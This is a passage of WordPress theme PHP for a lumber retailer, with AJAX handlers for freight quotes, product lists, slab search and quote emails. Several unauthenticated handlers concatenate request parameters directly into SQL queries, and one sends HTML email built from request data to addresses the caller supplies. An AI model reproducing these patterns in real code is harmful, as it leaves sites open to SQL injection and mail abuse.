        $carrier = $get_rate_obj[$carrier_smallest_value_key_val]->CarrierName;

        $charge = $get_rate_obj[$carrier_smallest_value_key_val]->Total;



        $retValues["carrier"] = $carrier;

        $retValues["cost"] = $charge;



        /*echo "<pre>";

        print_r($retValues);

        echo "</pre>";*/



        return $retValues;

    }



    function subval_sort(&$a,$subkey) {

        foreach($a as $k=>$v) {

            //$ar=explode(' ',$v[$subkey]);

            //$tmp=$ar[1].' '.$ar[0].''.$ar[2];



            //$b[$k] = strtolower($tmp);

            $b[$k] = strtolower($v[$subkey]);



        }

        natsort($b);

        foreach($b as $key=>$val) {

            $c[$key] = $a[$key];

        }

        $a = $c;

    }





	function getFinalCost($cost, $markup){

		$markupValue=$markup;

		if (is_numeric($markupValue)){

			$cost+=$markupValue;

		}

		return number_format ( $cost, 2 );

	}

	

	function calcSubtotal_callback()

	{

	   if(isset($_REQUEST['title'])){

	       $prodtitle = $_REQUEST['title'];

        }   

		if(isset($_REQUEST['id'])){

			$id = $_REQUEST['id'];

		}

		if(isset($_REQUEST['need'])){

			$need = $_REQUEST['need'];

		}

		if(isset($_REQUEST['pr1'])){

			$p1 = $_REQUEST['pr1'];

		}

		if(isset($_REQUEST['pr2'])){

			$p2 = $_REQUEST['pr2'];

		}

		if(isset($_REQUEST['pr3'])){

			$p3 = $_REQUEST['pr3'];

		}

		if(isset($_REQUEST['pr4'])){

			$p4 = $_REQUEST['pr4'];

		}

		if(isset($_REQUEST['pr5'])){

			$p5 = $_REQUEST['pr5'];

		}



		$brk_1 = 0;

		$brk_2 = 0;

		$brk_3 = 0;

		$brk_4 = 0;

		$brk_5 = 0;

		$subtot = 0;



		global $wpdb;

		$q  = "SELECT * FROM wp_woodlister_products WHERE id=".$id; 

		$row = $wpdb->get_results( $q);

		

		$brk_1 = $row[0]->brkd_opt_1;

		$brk_2 = $row[0]->brkd_opt_2;

		$brk_3 = $row[0]->brkd_opt_3;

		$brk_4 = $row[0]->brkd_opt_4;

		$brk_5 = $row[0]->brkd_opt_5;



		$q  = "SELECT * FROM wp_woodlister_wood_ship_breakdown"; 

		$result = $wpdb->get_results( $q);



			foreach($result as $row)

			{

			if($brk_1 == $row->id){

				$min_1 = $row->min_size;

				$max_1 = $row->max_size;

			}

			if($brk_2 == $row->id){

				$min_2 = $row->min_size;

				$max_2 = $row->max_size;

			}

			if($brk_3 == $row->id){

				$min_3 = $row->min_size;

				$max_3 = $row->max_size;

			}

			if($brk_4 == $row->id){

				$min_4 = $row->min_size;

				$max_4 = $row->max_size;

			}

			if($brk_5 == $row->id){

				$min_5 = $row->min_size;

				$max_5 = $row->max_size;

			}

		}



		switch($need){

			case ($need < $min_1):

									$subtot = 0;

									break;

			case ($need >= $min_1 && $need < $min_2):

			case ($need >= $min_1 && $min_2==0):

									$subtot = $p1*$need;

									break;

			case ($need >= $min_2 && $need < $min_3):

			case ($need >= $min_2 && $min_3==0):

									$subtot = $p2*$need;

									break;

			case ($need >= $min_3 && $need < $min_4):

			case ($need >= $min_3 && $min_4==0):

									$subtot = $p3*$need;

									break;

			case ($need >= $min_4 && $need < $min_5):

			case ($need >= $min_4 && $min_5==0):

									$subtot = $p4*$need;

									break;

			case ($need >= $min_5):

									$subtot = $p5*$need;

									break;

		}



		echo number_format($subtot, 1, '.', '');

		return;

	}

	

  add_action('wp_ajax_nopriv_calcSubtotal', 'calcSubtotal_callback');

  add_action('wp_ajax_calcSubtotal', 'calcSubtotal_callback');

  

  function convertMeas_callback()

	{

			if($_POST){

				$val = $_REQUEST['val'];

				$desc = $_REQUEST['desc'];

		    }

			$parts = explode(" ", $desc);



            global $wpdb;

			$list  = "SELECT * FROM wp_er_ship_dimen_vals "; 	

            $result = $wpdb->get_results($list);



			$convers_num = 1;



			foreach($result as $row) {

				$id = $row->id;

				$dimen = $row->dimension;

				$conv = $row->conversion;

				

				foreach($parts as $a=>$txt){

					if($txt === $dimen){

						$convers_num = $conv;

					}

				}

			}

			

			$newMeas = $convers_num*$val;

			echo $newMeas;	die();

	}

	

  add_action('wp_ajax_nopriv_convertMeas', 'convertMeas_callback');

  add_action('wp_ajax_convertMeas', 'convertMeas_callback');

  

  

    function quoteShipping_callback_old()

	{

			if ($_POST){

			$userid = $_REQUEST['userid'];

	        $password = $_REQUEST['password'];	

			$classof = $_REQUEST['classof'];

			$specificWeight = $_REQUEST['specificWeight'];

			$origin = $_REQUEST['origin'];

			$dest = $_REQUEST['dest'];

			$markup = $_REQUEST['markup'];

			//$productid = $_REQUEST['product'];

			

			$raterXML = getRate($userid, $password, $classof, $specificWeight);

			$lowestCarrier = getLowestCost($raterXML);

			

			echo '<div id="resDiv" style="margin: 5px; padding:0px; background-color:#efefef; color:#000080; text-shadow:none; ">';

			

			$carrier = $lowestCarrier['carrier']->item(0);

			$cost = $lowestCarrier['cost']->item(0);

			$err = 0;

			

			echo '<table style="width:100%;margin:10px 5px;">';

			

			if (isset($lowestCarrier["errorMsg"])){

				//echo '<br />' .'Error: <strong>' . $lowestCarrier["errorMsg"] . '</strong><br />';

				echo '<tr><td style="text-align:center;">';

				echo '<strong>No carriers found for this specific order. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br />';

				echo '</td></tr>';

				$err = 1;

			}

			if (isset($lowestCarrier["warningMsg"])){

				echo '<p><strong>No carriers found for this specific order. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br /></p>';

				$err = 1;

			}

				

			if($err != 1){	

				echo '<tr><td style="text-align:center;">';

				echo '<span id="delivMsg" style="font-size:16px;line-height:18px;font-weight:bold;">Your Full Delivered Price is... $<span id="totCost"></span></span>';

				echo '</td></tr>';

				

				for($i=1; $i<=12; $i++){

					echo '<tr><td><span id="purchase_'.$i.'"></span></td></tr>';

				}

				

				echo '<tr><td>';

				echo 'Delivery Charge to ';

				echo $dest;

				echo ' = $';

				if($markup){

					echo '<span id="delivCost">'.getFinalCost($cost->nodeValue,$markup).'</span>';

				}else{

					echo '<span id="delivCost">'.getFinalCost($cost->nodeValue,0).'</span>';

				}

				echo ' via ';

				if($carrier->nodeValue == ""){

					echo '<br /><strong>There is a problem with this shipping calculation. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br />';

				}else{

					echo $carrier->nodeValue;

				}

				echo '</td></tr>';

				$imageUrl = get_stylesheet_directory_uri();

				echo '<tr>

						<td style="float:left;padding:15px 15px 0 2px;"><em>Questions?  Call us 877.983.6367 </em></td>

						<td style="float:left;padding:15px 15px 3px 0;"><div id="quick_click2" style="display:none;"><a href="tel:8779836367"><img src="'.$imageUrl.'/images/click-to-call.gif" alt="Click to Call" /></a></div></td>

						<td style="float:left;padding:15px 15px 0 15px;text-align:left"><em>Residential Deliveries add $100.<br>Pricing and Availability are subject to change.<br><br>We look forward to working with you!</em></td>

					</tr>';

			}

				

			echo '</table>';

			echo '</div>';

		}	

		die();

	}

/*manoj add 23/02*/

    function quoteShipping_callback()

    {

        if ($_POST){

            $userid = $_REQUEST['userid'];

            $password = $_REQUEST['password'];

            $classof = $_REQUEST['classof'];

            $specificWeight = $_REQUEST['specificWeight'];

            $origin = $_REQUEST['origin'];

            $dest = $_REQUEST['dest'];

            $c_title = $_REQUEST['c_title'];

            $markup = $_REQUEST['markup'];

            //$productid = $_REQUEST['product'];



            $raterJSON = getRate($userid, $password, $classof, $specificWeight);
			// print_r($raterJSON);die;
            $error_return = json_decode($raterJSON, JSON_PRETTY_PRINT);
			
            //echo $error_return['error'];



            





            $lowestCarrier = getLowestCost($raterJSON);
			// print_r($lowestCarrier);die;
            $carrier = $lowestCarrier['carrier'];

            if($carrier!='')

            {

                // $carrier not found 1st time;

            }

            else

            {

                $raterJSON = getRate($userid, $password, $classof, $specificWeight);

                $error_return = json_decode($raterJSON, JSON_PRETTY_PRINT);

                $lowestCarrier = getLowestCost($raterJSON);





                //echo "2nd time";



                $carrier = $lowestCarrier['carrier'];

                if($carrier!='')

                {

                    // $carrier not found 2nd time;

                }

                else

                {

                    $raterJSON = getRate($userid, $password, $classof, $specificWeight);

                    $error_return = json_decode($raterJSON, JSON_PRETTY_PRINT);

                    $lowestCarrier = getLowestCost($raterJSON);



                    // $carrier not found 3rd time;

                    //echo "3rd time";

                }



            }



             $htmlDtring = '<div id="callusdiv"  style="width: 294px;

             border-radius: 20px;

             float: left;

             background-color: #b88a4d;

             padding: 10px;

             margin-top: 20px;

             display: block;

             position: absolute;

             top: 0px;

             left: 117px;

             height: auto;">				

                  <p style="font-size: 18px;

                 color: #fff;padding-top: 17px;">Call us  <p style="font-size: 32px;color: #fff;margin-top: 16px;    font-weight: 800;padding-bottom:41px;">877.983.6367</p></p>

                 <p style="color: #fff;font-size: 16px;line-height:18px;font-weight:bold;">

    For Current Availability and Lead Time</p>

				  </div>

                  <div id="resDiv" style=" margin: 5px; padding:0px;min-height: 187px;  color:#000080; text-shadow:none; ">';



            $carrier = $lowestCarrier['carrier'];

            $cost = $lowestCarrier['cost'];

            $err = 0;



            if($carrier!='')

            {

                // $carrier found

            }

            else

            {

                $err = 1; // $carrier not found

            }



            //echo $carrier;



             $htmlDtring.= '<table style="width:100%;margin:10px 5px;" id="c_getd">';



            if (isset($error_return['error'])){

                //echo '<br />' .'Error: <strong>' . $lowestCarrier["errorMsg"] . '</strong><br />';

                 $htmlDtring.= '<tr><td style="text-align:center;padding-top: 74px;">';

                $htmlDtring.= '<strong>No carriers found for this specific order. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br />';

                 $htmlDtring.= '</td></tr>';

                $err = 1;

               $FaildOrsuccess = 'failed';

            }else{

				$FaildOrsuccess = 'success';

            }

            /*if (isset($lowestCarrier["warningMsg"])){

                echo '<p><strong style="margin-right: 22%;text-align: center;float: right;">No carriers found for this specific order. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br /></p>';

                $err = 1;

            }*/



            /*if ($err == 1){

                echo '<p><strong style="margin-right: 22%;text-align: center;float: right;">No carriers found for this specific order. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br /></p>';

                $err = 1;

            }

*/



            if($err != 1){

                 $htmlDtring.= '<tr><td style="text-align:center;">';

                 $htmlDtring.= '<span id="delivMsg" style="font-size:16px;line-height:18px;font-weight:bold;">Your Full Delivered Price is... $<span id="totCost"></span></span>';

                 $htmlDtring.= '</td></tr>';



                for($i=1; $i<=12; $i++){

                     $htmlDtring.= '<tr><td><span id="purchase_'.$i.'"></span></td></tr>';

                }



                 $htmlDtring.= '<tr><td>';

                 $htmlDtring.= 'Delivery Charge to ';

                 $htmlDtring.= $dest;

                 $htmlDtring.= ' = $';

                if($markup){



                   // echo '<span class="mark_up_cost" style="display: none">'.$cost.' '.$markup.'</span>';

                     $htmlDtring.= '<span id="delivCost">'.getFinalCost($cost,$markup).'</span>';

                }else{

                    $htmlDtring.= '<span id="delivCost">'.getFinalCost($cost,0).'</span>';

                }

                 $htmlDtring.= ' via ';



                if($carrier!='')

                {

                     $htmlDtring.= $carrier;

                }

                else

                {

                     $htmlDtring.= '<br /><strong>There is a problem with this shipping calculation. <br />Call WoodVendors for a price quote, 1-877-983-6367.</strong><br />';

                }



                 $htmlDtring.= '</td></tr>';

                $imageUrl = get_stylesheet_directory_uri();

                 $htmlDtring.= '<tr>                      

                          <td style="float:left;padding:15px 15px 0 15px;color:#b88a4d;text-align:left"><em>Residential Deliveries add $100. <br>Pricing and Availability are subject to change.<br><br>We look forward to working with you!</em></td>

                        </tr>';

            }



            $htmlDtring.= '</table>';

            $htmlDtring.= '</div>';

echo json_encode(array('message' =>$FaildOrsuccess,'additionalData'=>$htmlDtring ));



            



        }

        die();

    }

	

  add_action('wp_ajax_nopriv_quoteShipping', 'quoteShipping_callback');

  add_action('wp_ajax_quoteShipping', 'quoteShipping_callback');





  /*manoj send email*/

  

  function send_email_callback()

    {

 



    	 if (!empty($_POST)){



    

    	 	$dest = $_REQUEST['destination'];

            $c_title = $_REQUEST['c_title'];

            $userid = $_REQUEST['userid'];

            $password = $_REQUEST['password'];

            $classof = $_REQUEST['classof'];

            $specificWeight = $_REQUEST['specificWeight'];

             

            $raterJSON = getRate($userid, $password, $classof, $specificWeight);

            $error_return = json_decode($raterJSON, JSON_PRETTY_PRINT);

            //echo $error_return['error'];



            





            $lowestCarrier = getLowestCost($raterJSON);

            $carrier = $lowestCarrier['carrier'];

            if($carrier!='')

            {

                // $carrier not found 1st time;

            }

            else

            {

                $raterJSON = getRate($userid, $password, $classof, $specificWeight);

                $error_return = json_decode($raterJSON, JSON_PRETTY_PRINT);

                $lowestCarrier = getLowestCost($raterJSON);





                //echo "2nd time";



                $carrier = $lowestCarrier['carrier'];

                if($carrier!='')

                {

                    // $carrier not found 2nd time;

                }

                else

                {

                    $raterJSON = getRate($userid, $password, $classof, $specificWeight);

                    $error_return = json_decode($raterJSON, JSON_PRETTY_PRINT);

                    $lowestCarrier = getLowestCost($raterJSON);



                    // $carrier not found 3rd time;

                    //echo "3rd time";

                }



            } 

            $carrier = $lowestCarrier['carrier'];

            $cost = $lowestCarrier['cost'];

            $err = 0;



            if($carrier!='')

            {

                // $carrier found

            }

            else

            {

                $err = 1; // $carrier not found

            } 

            if(isset($error_return['error'])){

            echo "hello if";

            $err = 1;	

            }

            if($err != 1){



            	echo "hello";

            }

            else{

            	echo "string";

            }

            



            /*if($err != 1){

            	echo "hello if";

            }

            else{

            	echo "hello else";

            }*/       



            /*main mail send  for admin*/

            $admin_to=mail_to;

            $from = mail_from;

            $label = emaillabelname;

            $data = $_REQUEST['caldata']; //sendto@example.com

            $subject = 'Detailed '.$c_title.' Quote';            

			$body = 

			    '<span style="font-size:13px;font-weight: 600;">Customer&nbsp;Email:&nbsp;&nbsp;</span>

			    <span>'.$_REQUEST['email'].'</span><br><br>

				<table>'.$data.'</table>'; 

			/*main mail send  for admin*/

			/*or*/     

            /*main mail send  for user*/

            $to = $_REQUEST['email'];            

            $headers = "MIME-Version: 1.0\nContent-type: text/html; charset=utf-8\nFrom: $label <$from>  \n";

            $bodykk =   'Thank you for your interest in '.$c_title.'.<br><br>

						To confirm availability give us a call at 877.983-6367 <br>

						or <br>

						Email your questions to <a href="mailto:goodwood@woodvendors.com">goodwood@woodvendors.com</a><br><br> 

						';

            $bodykk .=  '<table>'.$data.'</table>';                      

			$bodykk .=  '<a href="www.WoodVendors.com">www.WoodVendors.com</a><br>

						Slabs, Lumber and Mouldings

						';                       	

            /*main mail send  for user end*/

            /*main mail send  for user mail function*/		

			wp_mail($to, $subject,$bodykk,$headers);

			/*main mail send  for user mail function end*/

			/*main mail send  for admin mail function*/

			wp_mail($admin_to, $subject,$body,$headers);

			/*main mail send  for admin mail function end*/

			

		}

      

    }

    add_action('wp_ajax_sendemail', 'send_email_callback');

    add_action('wp_ajax_nopriv_sendemail', 'send_email_callback');

  /*manoj send email end*/

  

  /*manoj add 23/02 end*/

  function getInfo_callback()

	{

				$id = $_REQUEST["id"];

				$html = '';

				global $wpdb;

				$sql = "SELECT * FROM wp_er_ship_products WHERE id=".$id; 

				$row = $wpdb->get_results($sql);



				$i = 1;

				

				$html .= "<br />";

				

				//set up a max of four different zip codes and descriptions. Must have both a zip code and a label.

				while($i<5){

					$origin = "origin_".$i;

					$originLabel = "originLabel_".$i;

					

					if($row[0]->$origin==''||$row[0]->$origin==0){

						break;

					}

					

					$html .= '<input type="radio" name="origin" id="origin" value="'. $row[0]->$origin ;

					

					if($i==1){

						$html .= '" checked />'. $row[0]->$originLabel;

					}else{

						$html .= '" />'. $row[0]->$originLabel;

					}

					$html .= "<br />";

					$i++;

				}

				

				$html .= '<input type="hidden" name="markup" id="markup" value="'. $row[0]->markup .'" />';

				$html .= '<input type="hidden" name="specificWeight" id="specificWeight" value="'. $row[0]->specific_weight. '" />';

				$html .= '<input type="hidden" name="classof" id="classof" value="'. $row[0]->freight_class .'" />';

				

				die($html);

	}

	

  add_action('wp_ajax_nopriv_getInfo', 'getInfo_callback');

  add_action('wp_ajax_getInfo', 'getInfo_callback');

  

    function getSpecies_callback()

	{

		if(isset($_REQUEST['title'])){

			$prodtitle = $_REQUEST['title'];

		}



		if(isset($_REQUEST['id'])){

			$prod = $_REQUEST['id'];

		}

        global $wpdb;



		$html = '';

		

		switch($prod){

			case '0'://freight species rate category

				$list  = "SELECT * FROM wp_er_ship_products WHERE catid=8 AND published=1 ORDER BY title ASC "; 

				break;

			case '1'://freight moulding rate category

				$list  = "SELECT * FROM wp_er_ship_products WHERE catid=12 AND published=1 ORDER BY title ASC "; 

				break;

			case '2'://freight dimension rate category

				$list  = "SELECT * FROM wp_er_ship_products WHERE catid=14 AND published=1 ORDER BY title ASC "; 

				break;

			case '3'://freight decking rate category

				$list  = "SELECT * FROM wp_er_ship_products WHERE catid=13 AND published=1 ORDER BY title ASC "; 

				break;

			default:

				$list  = "SELECT * FROM wp_er_ship_products WHERE published=1 ORDER BY title ASC "; 

				break;

		}

		$result = $wpdb->get_results($list);



		$html .= '<select id="speciesSelector" style="width:180px; margin-left:3px;" class="inputbox" name="product" id="product" size="1" onchange="showProdInfo(this.value, 1);selValidation();" >';





		if (count($result) == 0) {

			$html .= '<option> ' ;

			$html .= 'No options available';

			$html .= '</option>';

		} else { 

			$html .= '<option value="-1">Select</option>';

			

			foreach ($result as $row) {

				$optionSel = $row->title;

				$html .= '<option value="'. $row->id.'" ' ;





                //$html .= 'prodtitle ="'.$prodtitle.'" optionSel="'.$optionSel.'"';

				

				/*$substr = strpos($prodtitle, $optionSel);

				if($substr !== false){



					$html .= 'selected="selected" ';

				}*/





                if($prodtitle == $optionSel){



                    $html .= 'selected="selected" ';

                }



				$html .= '>'. $row->title;

				$html .= '</option>';

			}

		}



		$html .= '</select>';

		

		 die($html);

	}

	

  add_action('wp_ajax_nopriv_getSpecies', 'getSpecies_callback');

  add_action('wp_ajax_getSpecies', 'getSpecies_callback');

  

    

    function getDimens_callback()

	{

		global $wpdb;

		if(isset($_REQUEST['id'])){

			$prod = $_REQUEST['id'];

		}

		$list  = "SELECT chk_meas_group FROM wp_er_ship_products WHERE id=".$prod; 		

		

		$result = $wpdb->get_results($list);

		$boxes = explode(',', $result[0]->chk_meas_group);



		if($result){

			$i=1;

			foreach($boxes as $chkbox=>$value){

				echo '<input type="radio" id="dimen" name="dimen" value="'.$value.'" /><label for="dimen" style="padding-right:25px;">'.$value.'</label>';

				if($i==3){

					echo "<br />";

					$i = 0;

				}

				$i++;

			}

		}

	}

	

  add_action('wp_ajax_nopriv_getDimens', 'getDimens_callback');

  add_action('wp_ajax_getDimens', 'getDimens_callback');

  

  

  

 

  function slabSearch_callback()

	{

		global $wpdb;

		

		$limit = 5;	

		$page_no = $_REQUEST['num'];

		

		if($page_no)

		{

		   $page = $page_no;	

		}

		else{

			 $page = 1;

		}

		$start_from = ($page-1) * $limit;

		

		$list  = "SELECT * FROM wp_woodlister_slab ";

		

		if($_REQUEST['price']!='' || $_REQUEST['length']!='' || $_REQUEST['width']!='' || $_REQUEST['thick']!='')

		{

			$list  .= " WHERE ";

		}

		

		if($_REQUEST['price']){

			$price = $_REQUEST['price'];

			$prc = explode('-',$price);

			$list  .= " (price BETWEEN  ".$prc[0]. " and ".$prc[1].") and (price != '') "; 	

		}

		

		if($_REQUEST['length']){

			$length = $_REQUEST['length'];

			$len = explode('-',$length);

			if($price!='')

			{

				$list  .= " and ";

			}

			$list  .= " (length BETWEEN  ".$len[0]. " and ".$len[1].") and (length != '') "; 	

		}

		

		if($_REQUEST['width']){

			$width = $_REQUEST['width'];

			$wid = explode('-',$width);

			if($price!='' || $length!='')

			{

				$list  .= " and ";

			}			

			$list  .= " (width BETWEEN  ".$wid[0]. " and ".$wid[1].") and (width != '') "; 	

		}

		

		if($_REQUEST['thick']){

			$thick = $_REQUEST['thick'];

			$thi = explode('-',$thick);

			if($price!='' || $length!='' || $width!='')

			{

				$list  .= " and ";

			}

			$list  .= " (thickness BETWEEN  ".$thi[0]. " and ".$thi[1].") and (thickness != '') "; 	

		}

		

		$res = $wpdb->get_results($list);

		

        $list  .= "ORDER BY title ASC LIMIT $start_from, $limit";

		

		$result = $wpdb->get_results($list);

		

		$html = " ";



		if($result){

			foreach($result as $value){

				

				 $posttitle = $value->title;

				 $postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" . $posttitle . "'" );

				 $href = get_permalink($postid);

		

				$html .= '<div class="slabDetails">';

				$html .= '<a href="'.$href.'" ><h3>'.$value->title.'</h3></a>';

				//$html .= '<span> Price : </span>'.$value->price.'<br>';

				//$html .= '<span> Width : </span>'.$value->width.'<br>';

				//$html .= '<span> Length : </span>'.$value->length.'<br>';

				//$html .= '<span> Thickness : </span>'.$value->thickness.'<br>';

				$html .= '</div>';



			}

 

					$total_records = count($res);  

					$total_pages = ceil($total_records / $limit); 

                    if($total_records>$limit) 

					{						

						$html .= "<div class='pagination'>";  

						for ($i=1; $i<=$total_pages; $i++) {

							  if($page==$i)

							  {

								  $active = "class='active'";

							  }

							  else	

							  {

								  $active = '';

							  }	

                               if($_REQUEST['price']=='' && $_REQUEST['length']=='' && $_REQUEST['width']=='' && $_REQUEST['thick']=='')

								{

									$html .= "<a ".$active." onclick='slabPagination(".$i.");' href='#'>".$i."</a>";  

								}

                                else

                                {									

							        $html .= "<a ".$active." onclick='slabSearch(price.value,widths.value,lengths.value, thickness.value, ".$i.");' href='#'>".$i."</a>";  

								} 

						}  

						$html .= "</div>";

					}

		}

		else

		{

			$html .= "<div class='noResult'> <span> No Result Found </span></div>";

		}

		

		die($html);

	}

	

  add_action('wp_ajax_nopriv_slabSearch', 'slabSearch_callback');

  add_action('wp_ajax_slabSearch', 'slabSearch_callback');

  

  function slabPagination_callback()

	{

		global $wpdb;

		

		$limit = 10;	

		$page_no = $_REQUEST['num'];

		

		if($page_no)

		{

		   $page = $page_no;	

		}

		else{

			 $page = 1;

		}

		$start_from = ($page-1) * $limit;

		

		$list  = "SELECT * FROM wp_woodlister_slab ";

		

		$res = $wpdb->get_results($list);

		

        $list  .= "ORDER BY title ASC LIMIT $start_from, $limit";

		

		$result = $wpdb->get_results($list);

		

		$html = " ";



		if($result){

			foreach($result as $value){

				

				 $posttitle = $value->title;

				 $postid = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE post_title = '" . $posttitle . "'" );

				 $href = get_permalink($postid);

		

				$html .= '<div class="slabDetails">';

				$html .= '<a href="'.$href.'" ><h3>'.$value->title.'</h3></a>';

				//$html .= '<span> Price : </span>'.$value->price.'<br>';

				//$html .= '<span> Width : </span>'.$value->width.'<br>';

				//$html .= '<span> Length : </span>'.$value->length.'<br>';

				//$html .= '<span> Thickness : </span>'.$value->thickness.'<br>';

				$html .= '</div>';



			}

 

					$total_records = count($res);  

					$total_pages = ceil($total_records / $limit); 

                    if($total_records>$limit) 

					{						

						$html .= "<div class='pagination'>";  

						for ($i=1; $i<=$total_pages; $i++) {

							  if($page==$i)

							  {

								  $active = "class='active'";

							  }

							  else	

							  {

								  $active = '';

							  }								

							  $html .= "<a ".$active." onclick='slabPagination(".$i.");' href='#'>".$i."</a>";  

						};  

						$html .= "</div>";

					}

		}

		else

		{

			$html .= "No Result Found";

		}

		

		die($html);

	}

	

  add_action('wp_ajax_nopriv_slabPagination', 'slabPagination_callback');

  add_action('wp_ajax_slabPagination', 'slabPagination_callback');


// manoj add code 12-05-21
// function testmonialPagination_callback()

// 	{

// 		global $wpdb;
// 		$limit = 5;	
// 		$page_no = $_REQUEST['num'];
// 		//echo $page_no;exit;
// 		if($page_no)
// 		{
// 			$paged = $page_no;	
// 		}
// 		else{
// 			$paged = 1;
// 		}
// 		$args = array(
//             'post_type' => 'testimonial',
//             'posts_per_page' => $limit,
// 			'paged' => $paged,
// 			'order' => 'ASC',
//         );
//         $testimonials = new WP_Query( $args );
// 		//print_r($testimonials->have_posts());exit;

// 		$html = " ";
// 		if ( $testimonials->have_posts() ) {
// 				//$html .= '<div id="testimonialResult">';
// 				// $html .= '<div class="accordion" >';
// 				while ( $testimonials->have_posts() ) {
// 					$testimonials->the_post(); 
// 						   $post_id = get_the_ID();
// 						  // echo $post_id;exit;
						   
// 						   $html .= '<div class="accordion-section">';
// 						   $html .= '<span class="accordion-section-title">'.get_the_title().'</span>';
						         
// 						   $html .= '<div class="accordion-section-content">'.get_the_content().'</div>';
						   
// 						    $html .='</div>';
// 							echo $html;
// 		          	} 
// 					  $total_records = $testimonials->max_num_pages;
// 					  $total_pages = ceil($total_records / $limit);
// 					  //echo $total_records;
// 					  if($total_records>$limit) 
// 					  {				
// 						$html = "<div class='pagination'>";  
// 						  for ($i=1; $i<=$total_pages; $i++) {
// 								if($page==$i)
// 								{
// 									$active = "class='active'";
// 								}
// 								else	
// 								{
// 									$active = '';
// 								}							  
// 								$html .= "<a ".$active." onclick='testmonialPagination(".$i.");' href='#'>".$i."</a>";  
// 						  };  
// 						  $html . "</div>";
// 					  }

// 		}
// 		else
// 		{
// 	    $html .= "<h3> No testimonials found </h3>";
// 		}
// 		die($html);
// 	}

	

//   add_action('wp_ajax_nopriv_testmonialPagination', 'testmonialPagination_callback');

//   add_action('wp_ajax_testmonialPagination', 'testmonialPagination_callback');

// manoj add code

  

 function custom_pagination($numpages = '', $pagerange = '', $paged='') {

 

			if (empty($pagerange)) {

			$pagerange = 2;

			}

			 

			/**

			* This first part of our function is a fallback

			* for custom pagination inside a regular loop that

			* uses the global $paged and global $wp_query variables.

			*

			* It's good because we can now override default pagination

			* in our theme, and use this function in default quries

			* and custom queries.

			*/

			global $paged;

			global $wp_rewrite;

			if (empty($paged)) {

			$paged = 1;

			}

			if ($numpages == '') {

			global $wp_query;

			 

			$numpages = $wp_query->max_num_pages;



			if(!$numpages) {

			$numpages = 1;

			}

			}

			 

			/**

			* We construct the pagination arguments to enter into our paginate_links

			* function.

			*/

			 global $wp;

			 $current_url = home_url(add_query_arg(array(),$wp->request));

			 $url = preg_replace("#/[0-9]{1,2}#", "",$current_url);

			 

			$pagination_args = array(

			'base'            => $url.'/%_%',

			//'format'          => '%#%',

			'format'          => '?pageno=%#%',

			'total'           => $numpages,

			'current'         => $paged,

			'show_all'        => False,

			'end_size'        => 1,

			'mid_size'        => $pagerange,

			'prev_next'       => True,

			'prev_text'       => __('&laquo;'),

			'next_text'       => __('&raquo;'),

			'type'            => 'plain',

			'add_args'        => false,

			'add_fragment'    => ''

			);

			 

			$paginate_links = paginate_links($pagination_args);

			 

			if ($paginate_links) {

			echo "<nav class='pagination'>";

			//echo "<span class='page-numbers page-num'>Page " . $paged . " of " . $numpages . "</span> ";

			echo $paginate_links;

			echo "</nav>";

			}

 

}



 function updateSearch_callback()

	{

		global $wpdb;

		$rate1 = 0;

		$rate2 = 0;

		$rate3 = 0;

		$rate4 = 0;

		$color = 'all';

		$use = 'nocare';

		$db_rate1 = 0;

		$db_rate2 = 0;

		$db_rate3 = 0;

		$db_rate4 = 0;

        

		if(isset($_REQUEST['rate1'])){

			$rate1 = $_REQUEST['rate1'];

		}

		if(isset($_REQUEST['rate2'])){

			$rate2 = $_REQUEST['rate2'];

		}

		if(isset($_REQUEST['rate3'])){

			$rate3 = $_REQUEST['rate3'];

		}

		if(isset($_REQUEST['rate4'])){

			$rate4 = $_REQUEST['rate4'];

		}



		if(isset($_REQUEST['color'])){

			$color = $_REQUEST['color'];

		}

		if(isset($_REQUEST['use'])){

			$use = $_REQUEST['use'];

		}

		if(isset($_REQUEST['rateArr'])){

			$rateArr = $_REQUEST['rateArr'];

		}

		

		$q = "SELECT * FROM wp_designer 

		           join wp_woodlister_products on wp_woodlister_products.id = wp_designer.prod_id 

				  WHERE category='lumber' AND published=1 AND product!='' AND char_1!=''";

		

		if($color!='' && $color!='all'){

			$q .= " AND color='".$color."'";

		}

	

		if($use == 'yes'){

			$q .= " AND rate_3 > 5";

			$q .= " ORDER BY rate_3 DESC ";

		}

		$prodlist = $wpdb->get_results($q);



		

		$html = "";

		$j = "";

		$besthigh = ""; // best match on the high side of the range 

		$bestlow = 0;  // best match on the low end of the range

		

		$list = array();

		$rankings = array();

		

		if($rate1==0 && $rate2==0 && $rate3==0 && $rate4==0){

			foreach($prodlist as $item){

				$list[$item->prod_id] = 0;

			}

		}else{

			// Find the position in the database that matches the user interface

			foreach($prodlist as $item){

				$diff = 0;  // difference between the desired rate and the product ratings

				$diff1 = 0;

				$diff2 = 0;

				$diff3 = 0;

				$diff4 = 0;

				

				for($i=1; $i<=5; $i++){

					

					$char = 'char_'.$i;

					$rate = 'rate_'.$i;

					

					switch($item->$char){

						case 'COM_DESIGNER_SELECT_CHAR1':

							$db_rate1 = $item->$rate;

							break;

						case 'COM_DESIGNER_SELECT_CHAR2':

							$db_rate2 = $item->$rate;

							break;

						case 'COM_DESIGNER_SELECT_CHAR3':

							$db_rate3 = $item->$rate;

							break;

						case 'COM_DESIGNER_SELECT_CHAR4':

							$db_rate4 = $item->$rate;

							break;

						case 'COM_DESIGNER_SELECT_CHAR5':

							$db_rate5 = $item->$rate;

							break;

						default:

							break;

					}

				}

				

				// Find closest match by taking the distance away from the desired rating

				// and then comparing it to the database.

				if($rate1 > 0 && $db_rate1 > 0){

					$diff1 = abs($rate1 - ($db_rate1*10));

				}

				if($rate2 > 0 && $db_rate2 > 0){

					$diff2 = abs($rate2 - ($db_rate2*10));

				}

				

				if($rate3 > 0 && $db_rate4 > 0){

					$diff3 = abs($rate3 - ($db_rate4*10));

				}

				

				if($rate4 > 0 && $db_rate5 > 0){

					$diff4 = abs($rate4 - ($db_rate5*10));

				}



				if(!in_array('rate1',$rateArr)){

					$diff1 = 0;

				}

				if(!in_array('rate2',$rateArr)){

					$diff2 = 0;

				}

				if(!in_array('rate3',$rateArr)){

					$diff3 = 0;

				}
